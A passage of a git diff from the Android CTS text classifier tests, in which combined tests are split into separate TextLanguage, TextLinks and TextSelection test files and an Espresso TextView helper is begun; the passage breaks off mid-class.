-        final URLSpan[] urlSpans = spannableString.getSpans(0, spannableString.length() - 1,
-                URLSpan.class);
-
-        assertEquals(TextLinks.STATUS_LINKS_APPLIED, status);
-        assertEquals(1, textLinkSpans.length);
-        assertEquals(0, urlSpans.length);
-    }
-
-    @Test
-    public void testTextLinks_applyStrategyIgnore() {
-        final SpannableString spannableString = SpannableString.valueOf(TEXT);
-        final URLSpan urlSpan = new URLSpan("http://www.google.com");
-        spannableString.setSpan(urlSpan, START, END, Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
-        final TextLinks textLinks = new TextLinks.Builder(TEXT)
-                .addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_ADDRESS, 1.0f))
-                .build();
-
-        final int status = textLinks.apply(
-                spannableString, TextLinks.APPLY_STRATEGY_IGNORE, null);
-        final TextLinks.TextLinkSpan[] textLinkSpans = spannableString.getSpans(0,
-                spannableString.length() - 1,
-                TextLinks.TextLinkSpan.class);
-        final URLSpan[] urlSpans = spannableString.getSpans(0, spannableString.length() - 1,
-                URLSpan.class);
-
-        assertEquals(TextLinks.STATUS_NO_LINKS_APPLIED, status);
-        assertEquals(0, textLinkSpans.length);
-        assertEquals(1, urlSpans.length);
-    }
-
-    @Test
-    public void testTextLinks_applyWithCustomSpanFactory() {
-        final class CustomTextLinkSpan extends TextLinks.TextLinkSpan {
-            private CustomTextLinkSpan(TextLinks.TextLink textLink) {
-                super(textLink);
-            }
-        }
-        final SpannableString spannableString = SpannableString.valueOf(TEXT);
-        final TextLinks textLinks = new TextLinks.Builder(TEXT)
-                .addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_ADDRESS, 1.0f))
-                .build();
-
-        final int status = textLinks.apply(
-                spannableString, TextLinks.APPLY_STRATEGY_IGNORE, CustomTextLinkSpan::new);
-        final CustomTextLinkSpan[] customTextLinkSpans = spannableString.getSpans(0,
-                spannableString.length() - 1,
-                CustomTextLinkSpan.class);
-
-        assertEquals(TextLinks.STATUS_LINKS_APPLIED, status);
-        assertEquals(1, customTextLinkSpans.length);
-
-        final TextLinks.TextLink textLink = customTextLinkSpans[0].getTextLink();
-
-        assertEquals(START, textLink.getStart());
-        assertEquals(END, textLink.getEnd());
-        assertEquals(1, textLink.getEntityCount());
-        assertEquals(TextClassifier.TYPE_ADDRESS, textLink.getEntity(0));
-        assertEquals(1.0f, textLink.getConfidenceScore(TextClassifier.TYPE_ADDRESS),
-                ACCEPTED_DELTA);
-    }
-
-    @Test
-    public void testTextLinksRequest_defaultValues() {
-        final TextLinks.Request request = new TextLinks.Request.Builder(TEXT).build();
-
-        assertEquals(TEXT, request.getText());
-        assertNull(request.getDefaultLocales());
-        assertTrue(request.getExtras().isEmpty());
-        assertNull(request.getEntityConfig());
-    }
-
-    @Test
-    public void testTextLinksRequest_full() {
-        final ZonedDateTime referenceTime = ZonedDateTime.ofInstant(Instant.ofEpochMilli(1000L),
-                ZoneId.of("UTC"));
-        final TextLinks.Request request = new TextLinks.Request.Builder(TEXT)
-                .setDefaultLocales(LOCALES)
-                .setExtras(BUNDLE)
-                .setEntityConfig(TextClassifier.EntityConfig.createWithHints(
-                        Collections.singletonList(TextClassifier.HINT_TEXT_IS_EDITABLE)))
-                .setReferenceTime(referenceTime)
-                .build();
-
-        assertEquals(TEXT, request.getText());
-        assertEquals(LOCALES, request.getDefaultLocales());
-        assertEquals(BUNDLE_VALUE, request.getExtras().getString(BUNDLE_KEY));
-        assertEquals(1, request.getEntityConfig().getHints().size());
-        assertEquals(
-                TextClassifier.HINT_TEXT_IS_EDITABLE,
-                request.getEntityConfig().getHints().iterator().next());
-        assertEquals(referenceTime, request.getReferenceTime());
-    }
-
-    @Test
-    public void testTextLanguage() {
-        final TextLanguage language = new TextLanguage.Builder()
-                .setId(ID)
-                .putLocale(ULocale.ENGLISH, 0.6f)
-                .putLocale(ULocale.CHINESE, 0.3f)
-                .putLocale(ULocale.JAPANESE, 0.1f)
-                .setExtras(BUNDLE)
-                .build();
-
-        assertEquals(ID, language.getId());
-        assertEquals(3, language.getLocaleHypothesisCount());
-        assertEquals(ULocale.ENGLISH, language.getLocale(0));
-        assertEquals(ULocale.CHINESE, language.getLocale(1));
-        assertEquals(ULocale.JAPANESE, language.getLocale(2));
-        assertEquals(0.6f, language.getConfidenceScore(ULocale.ENGLISH), EPSILON);
-        assertEquals(0.3f, language.getConfidenceScore(ULocale.CHINESE), EPSILON);
-        assertEquals(0.1f, language.getConfidenceScore(ULocale.JAPANESE), EPSILON);
-        assertEquals(BUNDLE_VALUE, language.getExtras().getString(BUNDLE_KEY));
-    }
-
-    @Test
-    public void testTextLanguage_clippedScore() {
-        final TextLanguage language = new TextLanguage.Builder()
-                .putLocale(ULocale.ENGLISH, 2f)
-                .putLocale(ULocale.CHINESE, -2f)
-                .build();
-
-        assertEquals(1, language.getLocaleHypothesisCount());
-        assertEquals(ULocale.ENGLISH, language.getLocale(0));
-        assertEquals(1f, language.getConfidenceScore(ULocale.ENGLISH), EPSILON);
-        assertNull(language.getId());
-    }
-
-    @Test
-    public void testTextLanguageRequest() {
-        final TextLanguage.Request request = new TextLanguage.Request.Builder(TEXT)
-                .setExtras(BUNDLE)
-                .build();
-
-        assertEquals(TEXT, request.getText());
-        assertEquals(BUNDLE_VALUE, request.getExtras().getString(BUNDLE_KEY));
-        assertNull(request.getCallingPackageName());
-    }
-
-    // TODO: Add more tests.
-
-    /** Helper to generate Icons for testing. */
-    private Icon generateTestIcon(int width, int height, int colorValue) {
-        final int numPixels = width * height;
-        final int[] colors = new int[numPixels];
-        for (int i = 0; i < numPixels; ++i) {
-            colors[i] = colorValue;
-        }
-        final Bitmap bitmap = Bitmap.createBitmap(colors, width, height, Bitmap.Config.ARGB_8888);
-        return Icon.createWithBitmap(bitmap);
-    }
-}
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextLanguageTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextLanguageTest.java
new file mode 100644
index 0000000..52aa318
--- /dev/null
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextLanguageTest.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.textclassifier.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+
+import android.icu.util.ULocale;
+import android.os.Bundle;
+import android.view.textclassifier.TextLanguage;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class TextLanguageTest {
+    private static final float EPSILON = 0.000001f;
+    private static final String BUNDLE_KEY = "key";
+    private static final String BUNDLE_VALUE = "value";
+    private static final Bundle BUNDLE = new Bundle();
+    static {
+        BUNDLE.putString(BUNDLE_KEY, BUNDLE_VALUE);
+    }
+    private static final String ID = "id123";
+    private static final String TEXT = "abcdefghijklmnopqrstuvwxyz";
+
+    @Test
+    public void testTextLanguage() {
+        final TextLanguage language = new TextLanguage.Builder()
+                .setId(ID)
+                .putLocale(ULocale.ENGLISH, 0.6f)
+                .putLocale(ULocale.CHINESE, 0.3f)
+                .putLocale(ULocale.JAPANESE, 0.1f)
+                .setExtras(BUNDLE)
+                .build();
+
+        assertEquals(ID, language.getId());
+        assertEquals(3, language.getLocaleHypothesisCount());
+        assertEquals(ULocale.ENGLISH, language.getLocale(0));
+        assertEquals(ULocale.CHINESE, language.getLocale(1));
+        assertEquals(ULocale.JAPANESE, language.getLocale(2));
+        assertEquals(0.6f, language.getConfidenceScore(ULocale.ENGLISH), EPSILON);
+        assertEquals(0.3f, language.getConfidenceScore(ULocale.CHINESE), EPSILON);
+        assertEquals(0.1f, language.getConfidenceScore(ULocale.JAPANESE), EPSILON);
+        assertEquals(BUNDLE_VALUE, language.getExtras().getString(BUNDLE_KEY));
+    }
+
+    @Test
+    public void testTextLanguage_clippedScore() {
+        final TextLanguage language = new TextLanguage.Builder()
+                .putLocale(ULocale.ENGLISH, 2f)
+                .putLocale(ULocale.CHINESE, -2f)
+                .build();
+
+        assertEquals(1, language.getLocaleHypothesisCount());
+        assertEquals(ULocale.ENGLISH, language.getLocale(0));
+        assertEquals(1f, language.getConfidenceScore(ULocale.ENGLISH), EPSILON);
+        assertNull(language.getId());
+    }
+
+    @Test
+    public void testTextLanguageRequest() {
+        final TextLanguage.Request request = new TextLanguage.Request.Builder(TEXT)
+                .setExtras(BUNDLE)
+                .build();
+
+        assertEquals(TEXT, request.getText());
+        assertEquals(BUNDLE_VALUE, request.getExtras().getString(BUNDLE_KEY));
+        assertNull(request.getCallingPackageName());
+    }
+}
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextLinksTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextLinksTest.java
new file mode 100644
index 0000000..1414ed7
--- /dev/null
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextLinksTest.java
@@ -0,0 +1,258 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.textclassifier.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.os.Bundle;
+import android.os.LocaleList;
+import android.text.SpannableString;
+import android.text.Spanned;
+import android.text.style.URLSpan;
+import android.view.textclassifier.TextClassifier;
+import android.view.textclassifier.TextLinks;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.google.common.collect.ImmutableMap;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.time.Instant;
+import java.time.ZoneId;
+import java.time.ZonedDateTime;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class TextLinksTest {
+
+    private static final float EPSILON = 0.000001f;
+    private static final String BUNDLE_KEY = "key";
+    private static final String BUNDLE_VALUE = "value";
+    private static final Bundle BUNDLE = new Bundle();
+    static {
+        BUNDLE.putString(BUNDLE_KEY, BUNDLE_VALUE);
+    }
+
+    private static final double ACCEPTED_DELTA = 0.0000001;
+    private static final String TEXT = "abcdefghijklmnopqrstuvwxyz";
+    private static final int START = 5;
+    private static final int END = 20;
+    private static final int ANOTHER_START = 22;
+    private static final int ANOTHER_END = 24;
+    private static final LocaleList LOCALES = LocaleList.forLanguageTags("fr,en,de,es");
+
+    @Test
+    public void testTextLinks_defaultValues() {
+        final TextLinks textLinks = new TextLinks.Builder(TEXT).build();
+
+        assertEquals(TEXT, textLinks.getText());
+        assertTrue(textLinks.getExtras().isEmpty());
+        assertTrue(textLinks.getLinks().isEmpty());
+    }
+
+    @Test
+    public void testTextLinks_full() {
+        final TextLinks textLinks = new TextLinks.Builder(TEXT)
+                .setExtras(BUNDLE)
+                .addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_ADDRESS, 1.0f))
+                .addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_PHONE, 1.0f),
+                        BUNDLE)
+                .build();
+
+        assertEquals(TEXT, textLinks.getText());
+        assertEquals(BUNDLE_VALUE, textLinks.getExtras().getString(BUNDLE_KEY));
+        assertEquals(2, textLinks.getLinks().size());
+
+        final List<TextLinks.TextLink> resultList = new ArrayList<>(textLinks.getLinks());
+        final TextLinks.TextLink textLinkNoExtra = resultList.get(0);
+        assertEquals(TextClassifier.TYPE_ADDRESS, textLinkNoExtra.getEntity(0));
+        assertEquals(1.0f, textLinkNoExtra.getConfidenceScore(TextClassifier.TYPE_ADDRESS),
+                EPSILON);
+        assertEquals(Bundle.EMPTY, textLinkNoExtra.getExtras());
+
+        final TextLinks.TextLink textLinkHasExtra = resultList.get(1);
+        assertEquals(TextClassifier.TYPE_PHONE, textLinkHasExtra.getEntity(0));
+        assertEquals(1.0f, textLinkHasExtra.getConfidenceScore(TextClassifier.TYPE_PHONE),
+                EPSILON);
+        assertEquals(BUNDLE_VALUE, textLinkHasExtra.getExtras().getString(BUNDLE_KEY));
+    }
+
+    @Test
+    public void testTextLinks_clearTextLinks() {
+        final TextLinks textLinks = new TextLinks.Builder(TEXT)
+                .setExtras(BUNDLE)
+                .addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_ADDRESS, 1.0f))
+                .clearTextLinks()
+                .build();
+        assertEquals(0, textLinks.getLinks().size());
+    }
+
+    @Test
+    public void testTextLinks_apply() {
+        final SpannableString spannableString = SpannableString.valueOf(TEXT);
+        final TextLinks textLinks = new TextLinks.Builder(TEXT)
+                .addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_ADDRESS, 1.0f))
+                .addLink(ANOTHER_START, ANOTHER_END,
+                        ImmutableMap.of(TextClassifier.TYPE_PHONE, 1.0f,
+                                TextClassifier.TYPE_ADDRESS, 0.5f))
+                .build();
+
+        final int status = textLinks.apply(
+                spannableString, TextLinks.APPLY_STRATEGY_IGNORE, null);
+        final TextLinks.TextLinkSpan[] textLinkSpans = spannableString.getSpans(0,
+                spannableString.length() - 1,
+                TextLinks.TextLinkSpan.class);
+
+        assertEquals(TextLinks.STATUS_LINKS_APPLIED, status);
+        assertEquals(2, textLinkSpans.length);
+
+        final TextLinks.TextLink textLink = textLinkSpans[0].getTextLink();
+        final TextLinks.TextLink anotherTextLink = textLinkSpans[1].getTextLink();
+
+        assertEquals(START, textLink.getStart());
+        assertEquals(END, textLink.getEnd());
+        assertEquals(1, textLink.getEntityCount());
+        assertEquals(TextClassifier.TYPE_ADDRESS, textLink.getEntity(0));
+        assertEquals(1.0f, textLink.getConfidenceScore(TextClassifier.TYPE_ADDRESS),
+                ACCEPTED_DELTA);
+        assertEquals(ANOTHER_START, anotherTextLink.getStart());
+        assertEquals(ANOTHER_END, anotherTextLink.getEnd());
+        assertEquals(2, anotherTextLink.getEntityCount());
+        assertEquals(TextClassifier.TYPE_PHONE, anotherTextLink.getEntity(0));
+        assertEquals(1.0f, anotherTextLink.getConfidenceScore(TextClassifier.TYPE_PHONE),
+                ACCEPTED_DELTA);
+        assertEquals(TextClassifier.TYPE_ADDRESS, anotherTextLink.getEntity(1));
+        assertEquals(0.5f, anotherTextLink.getConfidenceScore(TextClassifier.TYPE_ADDRESS),
+                ACCEPTED_DELTA);
+    }
+
+    @Test
+    public void testTextLinks_applyStrategyReplace() {
+        final SpannableString spannableString = SpannableString.valueOf(TEXT);
+        final URLSpan urlSpan = new URLSpan("http://www.google.com");
+        spannableString.setSpan(urlSpan, START, END, Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
+        final TextLinks textLinks = new TextLinks.Builder(TEXT)
+                .addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_ADDRESS, 1.0f))
+                .build();
+
+        final int status = textLinks.apply(
+                spannableString, TextLinks.APPLY_STRATEGY_REPLACE, null);
+        final TextLinks.TextLinkSpan[] textLinkSpans = spannableString.getSpans(0,
+                spannableString.length() - 1,
+                TextLinks.TextLinkSpan.class);
+        final URLSpan[] urlSpans = spannableString.getSpans(0, spannableString.length() - 1,
+                URLSpan.class);
+
+        assertEquals(TextLinks.STATUS_LINKS_APPLIED, status);
+        assertEquals(1, textLinkSpans.length);
+        assertEquals(0, urlSpans.length);
+    }
+
+    @Test
+    public void testTextLinks_applyStrategyIgnore() {
+        final SpannableString spannableString = SpannableString.valueOf(TEXT);
+        final URLSpan urlSpan = new URLSpan("http://www.google.com");
+        spannableString.setSpan(urlSpan, START, END, Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
+        final TextLinks textLinks = new TextLinks.Builder(TEXT)
+                .addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_ADDRESS, 1.0f))
+                .build();
+
+        final int status = textLinks.apply(
+                spannableString, TextLinks.APPLY_STRATEGY_IGNORE, null);
+        final TextLinks.TextLinkSpan[] textLinkSpans = spannableString.getSpans(0,
+                spannableString.length() - 1,
+                TextLinks.TextLinkSpan.class);
+        final URLSpan[] urlSpans = spannableString.getSpans(0, spannableString.length() - 1,
+                URLSpan.class);
+
+        assertEquals(TextLinks.STATUS_NO_LINKS_APPLIED, status);
+        assertEquals(0, textLinkSpans.length);
+        assertEquals(1, urlSpans.length);
+    }
+
+    @Test
+    public void testTextLinks_applyWithCustomSpanFactory() {
+        final class CustomTextLinkSpan extends TextLinks.TextLinkSpan {
+            private CustomTextLinkSpan(TextLinks.TextLink textLink) {
+                super(textLink);
+            }
+        }
+        final SpannableString spannableString = SpannableString.valueOf(TEXT);
+        final TextLinks textLinks = new TextLinks.Builder(TEXT)
+                .addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_ADDRESS, 1.0f))
+                .build();
+
+        final int status = textLinks.apply(
+                spannableString, TextLinks.APPLY_STRATEGY_IGNORE, CustomTextLinkSpan::new);
+        final CustomTextLinkSpan[] customTextLinkSpans = spannableString.getSpans(0,
+                spannableString.length() - 1,
+                CustomTextLinkSpan.class);
+
+        assertEquals(TextLinks.STATUS_LINKS_APPLIED, status);
+        assertEquals(1, customTextLinkSpans.length);
+
+        final TextLinks.TextLink textLink = customTextLinkSpans[0].getTextLink();
+
+        assertEquals(START, textLink.getStart());
+        assertEquals(END, textLink.getEnd());
+        assertEquals(1, textLink.getEntityCount());
+        assertEquals(TextClassifier.TYPE_ADDRESS, textLink.getEntity(0));
+        assertEquals(1.0f, textLink.getConfidenceScore(TextClassifier.TYPE_ADDRESS),
+                ACCEPTED_DELTA);
+    }
+
+    @Test
+    public void testTextLinksRequest_defaultValues() {
+        final TextLinks.Request request = new TextLinks.Request.Builder(TEXT).build();
+
+        assertEquals(TEXT, request.getText());
+        assertNull(request.getDefaultLocales());
+        assertTrue(request.getExtras().isEmpty());
+        assertNull(request.getEntityConfig());
+    }
+
+    @Test
+    public void testTextLinksRequest_full() {
+        final ZonedDateTime referenceTime = ZonedDateTime.ofInstant(Instant.ofEpochMilli(1000L),
+                ZoneId.of("UTC"));
+        final TextLinks.Request request = new TextLinks.Request.Builder(TEXT)
+                .setDefaultLocales(LOCALES)
+                .setExtras(BUNDLE)
+                .setEntityConfig(TextClassifier.EntityConfig.createWithHints(
+                        Collections.singletonList(TextClassifier.HINT_TEXT_IS_EDITABLE)))
+                .setReferenceTime(referenceTime)
+                .build();
+
+        assertEquals(TEXT, request.getText());
+        assertEquals(LOCALES, request.getDefaultLocales());
+        assertEquals(BUNDLE_VALUE, request.getExtras().getString(BUNDLE_KEY));
+        assertEquals(1, request.getEntityConfig().getHints().size());
+        assertEquals(
+                TextClassifier.HINT_TEXT_IS_EDITABLE,
+                request.getEntityConfig().getHints().iterator().next());
+        assertEquals(referenceTime, request.getReferenceTime());
+    }
+
+}
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextSelectionTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextSelectionTest.java
new file mode 100644
index 0000000..e2f79af
--- /dev/null
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextSelectionTest.java
@@ -0,0 +1,225 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.textclassifier.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.os.Bundle;
+import android.os.LocaleList;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.view.textclassifier.TextClassification;
+import android.view.textclassifier.TextClassifier;
+import android.view.textclassifier.TextSelection;
+
+import androidx.core.os.BuildCompat;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class TextSelectionTest {
+    private static final String BUNDLE_KEY = "key";
+    private static final String BUNDLE_VALUE = "value";
+    private static final Bundle BUNDLE = new Bundle();
+    static {
+        BUNDLE.putString(BUNDLE_KEY, BUNDLE_VALUE);
+    }
+
+    private static final float ACCEPTED_DELTA = 0.0000001f;
+    private static final String TEXT = "abcdefghijklmnopqrstuvwxyz";
+    private static final int START = 5;
+    private static final int END = 20;
+    private static final String ID = "id123";
+    private static final LocaleList LOCALES = LocaleList.forLanguageTags("fr,en,de,es");
+    private static final TextClassification TEXT_CLASSIFICATION =
+            new TextClassification.Builder().setText(TEXT).build();
+
+    @Test
+    public void testTextSelection() {
+        final float addressScore = 0.1f;
+        final float emailScore = 0.9f;
+
+        final TextSelection.Builder originalBuilder = new TextSelection.Builder(START, END)
+                .setEntityType(TextClassifier.TYPE_ADDRESS, addressScore)
+                .setEntityType(TextClassifier.TYPE_EMAIL, emailScore)
+                .setId(ID)
+                .setExtras(BUNDLE);
+        if (BuildCompat.isAtLeastS()) {
+            originalBuilder.setTextClassification(TEXT_CLASSIFICATION);
+        }
+        final TextSelection original = originalBuilder.build();
+
+        TextSelection selection = parcelizeDeparcelize(original, TextSelection.CREATOR);
+
+        assertThat(selection.getSelectionStartIndex()).isEqualTo(START);
+        assertThat(selection.getSelectionEndIndex()).isEqualTo(END);
+        assertThat(selection.getEntityCount()).isEqualTo(2);
+        assertThat(selection.getEntity(0)).isEqualTo(TextClassifier.TYPE_EMAIL);
+        assertThat(selection.getEntity(1)).isEqualTo(TextClassifier.TYPE_ADDRESS);
+        assertThat(selection.getConfidenceScore(TextClassifier.TYPE_ADDRESS)).isWithin(
+                ACCEPTED_DELTA).of(addressScore);
+        assertThat(selection.getConfidenceScore(TextClassifier.TYPE_EMAIL)).isWithin(
+                ACCEPTED_DELTA).of(emailScore);
+        assertThat(selection.getConfidenceScore("random_type")).isEqualTo(0);
+        assertThat(selection.getId()).isEqualTo(ID);
+        assertThat(selection.getExtras().getString(BUNDLE_KEY)).isEqualTo(BUNDLE_VALUE);
+        if (BuildCompat.isAtLeastS()) {
+            assertThat(selection.getTextClassification().getText()).isEqualTo(TEXT);
+        }
+    }
+
+    @Test
+    public void testTextSelection_differentParams() {
+        final int start = 0;
+        final int end = 1;
+        final float confidenceScore = 0.5f;
+        final String id = "2hukwu3m3k44f1gb0";
+
+        final TextSelection selection = new TextSelection.Builder(start, end)
+                .setEntityType(TextClassifier.TYPE_URL, confidenceScore)
+                .setId(id)
+                .build();
+
+        assertEquals(start, selection.getSelectionStartIndex());
+        assertEquals(end, selection.getSelectionEndIndex());
+        assertEquals(1, selection.getEntityCount());
+        assertEquals(TextClassifier.TYPE_URL, selection.getEntity(0));
+        assertEquals(confidenceScore, selection.getConfidenceScore(TextClassifier.TYPE_URL),
+                ACCEPTED_DELTA);
+        assertEquals(0, selection.getConfidenceScore("random_type"), ACCEPTED_DELTA);
+        assertEquals(id, selection.getId());
+    }
+
+    @Test
+    public void testTextSelection_defaultValues() {
+        TextSelection original = new TextSelection.Builder(START, END).build();
+
+        TextSelection selection = parcelizeDeparcelize(original, TextSelection.CREATOR);
+
+        assertThat(selection.getEntityCount()).isEqualTo(0);
+        assertThat(selection.getId()).isNull();
+        assertThat(selection.getExtras().isEmpty()).isTrue();
+        if (BuildCompat.isAtLeastS()) {
+            assertThat(selection.getTextClassification()).isNull();
+        }
+    }
+
+    @Test
+    public void testTextSelection_prunedConfidenceScore() {
+        final float phoneScore = -0.1f;
+        final float prunedPhoneScore = 0f;
+        final float otherScore = 1.5f;
+        final float prunedOtherScore = 1.0f;
+
+        final TextSelection selection = new TextSelection.Builder(START, END)
+                .setEntityType(TextClassifier.TYPE_PHONE, phoneScore)
+                .setEntityType(TextClassifier.TYPE_OTHER, otherScore)
+                .build();
+
+        assertEquals(prunedPhoneScore, selection.getConfidenceScore(TextClassifier.TYPE_PHONE),
+                ACCEPTED_DELTA);
+        assertEquals(prunedOtherScore, selection.getConfidenceScore(TextClassifier.TYPE_OTHER),
+                ACCEPTED_DELTA);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testTextSelection_invalidStartParams() {
+        new TextSelection.Builder(-1 /* start */, END)
+                .build();
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testTextSelection_invalidEndParams() {
+        new TextSelection.Builder(START, 0 /* end */)
+                .build();
+    }
+
+    @Test(expected = IndexOutOfBoundsException.class)
+    public void testTextSelection_entityIndexOutOfBounds() {
+        final TextSelection selection = new TextSelection.Builder(START, END).build();
+        final int outOfBoundsIndex = selection.getEntityCount();
+        selection.getEntity(outOfBoundsIndex);
+    }
+
+    @Test
+    public void testTextSelectionRequest() {
+        final TextSelection.Request.Builder originalBuilder =
+                new TextSelection.Request.Builder(TEXT, START, END)
+                .setDefaultLocales(LOCALES)
+                .setExtras(BUNDLE);
+        if (BuildCompat.isAtLeastS()) {
+            originalBuilder.setIncludeTextClassification(true);
+        }
+        final TextSelection.Request original = originalBuilder.build();
+
+        TextSelection.Request request =
+                parcelizeDeparcelize(original, TextSelection.Request.CREATOR);
+
+        assertThat(request.getText().toString()).isEqualTo(TEXT);
+        assertThat(request.getStartIndex()).isEqualTo(START);
+        assertThat(request.getEndIndex()).isEqualTo(END);
+        assertThat(request.getDefaultLocales()).isEqualTo(LOCALES);
+        assertThat(request.getExtras().getString(BUNDLE_KEY)).isEqualTo(BUNDLE_VALUE);
+        if (BuildCompat.isAtLeastS()) {
+            assertThat(request.shouldIncludeTextClassification()).isEqualTo(true);
+        }
+    }
+
+    @Test
+    public void testTextSelectionRequest_nullValues() {
+        final TextSelection.Request original =
+                new TextSelection.Request.Builder(TEXT, START, END)
+                        .setDefaultLocales(null)
+                        .build();
+
+        TextSelection.Request request =
+                parcelizeDeparcelize(original, TextSelection.Request.CREATOR);
+
+        assertNull(request.getDefaultLocales());
+    }
+
+    @Test
+    public void testTextSelectionRequest_defaultValues() {
+        final TextSelection.Request original =
+                new TextSelection.Request.Builder(TEXT, START, END).build();
+
+        TextSelection.Request request =
+                parcelizeDeparcelize(original, TextSelection.Request.CREATOR);
+
+        assertThat(request.getDefaultLocales()).isNull();
+        assertThat(request.getExtras().isEmpty()).isTrue();
+        if (BuildCompat.isAtLeastS()) {
+            assertThat(request.shouldIncludeTextClassification()).isFalse();
+        }
+    }
+
+    private static <T extends Parcelable> T parcelizeDeparcelize(
+            T parcelable, Parcelable.Creator<T> creator) {
+        Parcel parcel = Parcel.obtain();
+        parcelable.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        return creator.createFromParcel(parcel);
+    }
+}
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewActions.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewActions.java
new file mode 100644
index 0000000..d72f00f
--- /dev/null
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewActions.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.textclassifier.cts;
+
+import static androidx.test.espresso.action.ViewActions.actionWithAssertions;
+
+import android.text.Layout;
+import android.util.Log;
+import android.view.View;
+import android.widget.TextView;
+
+import androidx.test.espresso.UiController;
+import androidx.test.espresso.ViewAction;
+import androidx.test.espresso.action.CoordinatesProvider;
+import androidx.test.espresso.action.GeneralClickAction;
+import androidx.test.espresso.action.PrecisionDescriber;
+import androidx.test.espresso.action.Press;
+import androidx.test.espresso.action.Tap;
+import androidx.test.espresso.action.Tapper;
+
+import org.hamcrest.Matcher;
+
+import java.util.Arrays;
+
+/**
+ * Espresso utils to perform actions on a TextView.
+ */
+public final class TextViewActions {
+    private static final String TAG = "TextViewActions";
+
+    /**
+     * Tap on the text at the given character index.
+     */
+    public static ViewAction tapOnTextAtIndex(int index) {
+        return actionWithAssertions(
+                new ViewClickAction(Tap.SINGLE, new TextCoordinates(index), Press.FINGER));
+    }
+
+    public static ViewAction longTapOnTextAtIndex(int index) {
+        return actionWithAssertions(
+                new ViewClickAction(Tap.LONG, new TextCoordinates(index), Press.FINGER));
+    }
+
+    private static final class ViewClickAction implements ViewAction {
+        private final GeneralClickAction mGeneralClickAction;
+
+        public ViewClickAction(
+                Tapper tapper,
